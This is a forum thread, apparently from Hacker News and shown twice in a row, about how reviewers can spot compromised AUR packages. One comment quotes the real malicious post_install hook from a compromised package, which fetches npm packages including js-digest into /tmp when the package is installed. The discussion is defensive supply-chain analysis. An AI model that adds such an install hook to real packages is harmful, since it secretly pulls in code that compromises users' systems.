4 ms·

Curious, in this specific case: if people DID review the PKGBUILD, what exactly would they recognize to spot these packages were compromised ?

Matl 4mo ago
Some things I try to check for - sources array has sources that don't correlate to the package name/purpose or are from strange places, like github repos that don't seem relevant etc. - extensive post install scripts suggesting it's doing a lot more than is normal But those are very crude, I wonder if an AUR helper could optionally consult a local LLM to review a PKGBUILD before installing these days...
- nagaiaida 4mo ago
  > like github repos that don't seem relevant i wouldn't necessarily trust a repo that does seem relevant either. it's trivial to put any data you want at a url which, at a glance, appears to legitimately belong to any repo you can fork.
Tharre 4mo ago
From the concrete example someone posted below, you'd see that a post-install hook exists, literally this line: > install=toggldesktop-bin-deps.install And the toggldesktop-bin-deps.install contains this: > post_install() {{ > cd /tmp > bun add axios uuid ora js-digest > }} Seeing any install hook download anything from the web should immediately raise alarms when reviewing, even before you checkout what packages it actually installs.
- codemac 4mo ago
  Exactly, these hacks really stand out to me, and used odd patterns (like .install files that just had 2-3 line post_install functions) etc.
weaksauce 4mo ago
typically attacks happen when the URL for the source code or binary gets changed significantly... or like in this attack someone adds something to the post_install section which does something like add an npm install command. a lot of updates for binaries are just version bumps and SHA hashes changing which are easy to vet if you trust the source to not be compromised.

4 ms·

Curious, in this specific case: if people DID review the PKGBUILD, what exactly would they recognize to spot these packages were compromised ?

by DavideNL 4mo ago

Matl 4mo ago
Some things I try to check for - sources array has sources that don't correlate to the package name/purpose or are from strange places, like github repos that don't seem relevant etc. - extensive post install scripts suggesting it's doing a lot more than is normal But those are very crude, I wonder if an AUR helper could optionally consult a local LLM to review a PKGBUILD before installing these days...
- nagaiaida 4mo ago
  > like github repos that don't seem relevant i wouldn't necessarily trust a repo that does seem relevant either. it's trivial to put any data you want at a url which, at a glance, appears to legitimately belong to any repo you can fork.
Tharre 4mo ago
From the concrete example someone posted below, you'd see that a post-install hook exists, literally this line: > install=toggldesktop-bin-deps.install And the toggldesktop-bin-deps.install contains this: > post_install() {{ > cd /tmp > bun add axios uuid ora js-digest > }} Seeing any install hook download anything from the web should immediately raise alarms when reviewing, even before you checkout what packages it actually installs.
- codemac 4mo ago
  Exactly, these hacks really stand out to me, and used odd patterns (like .install files that just had 2-3 line post_install functions) etc.
weaksauce 4mo ago
typically attacks happen when the URL for the source code or binary gets changed significantly... or like in this attack someone adds something to the post_install section which does something like add an npm install command. a lot of updates for binaries are just version bumps and SHA hashes changing which are easy to vet if you trust the source to not be compromised.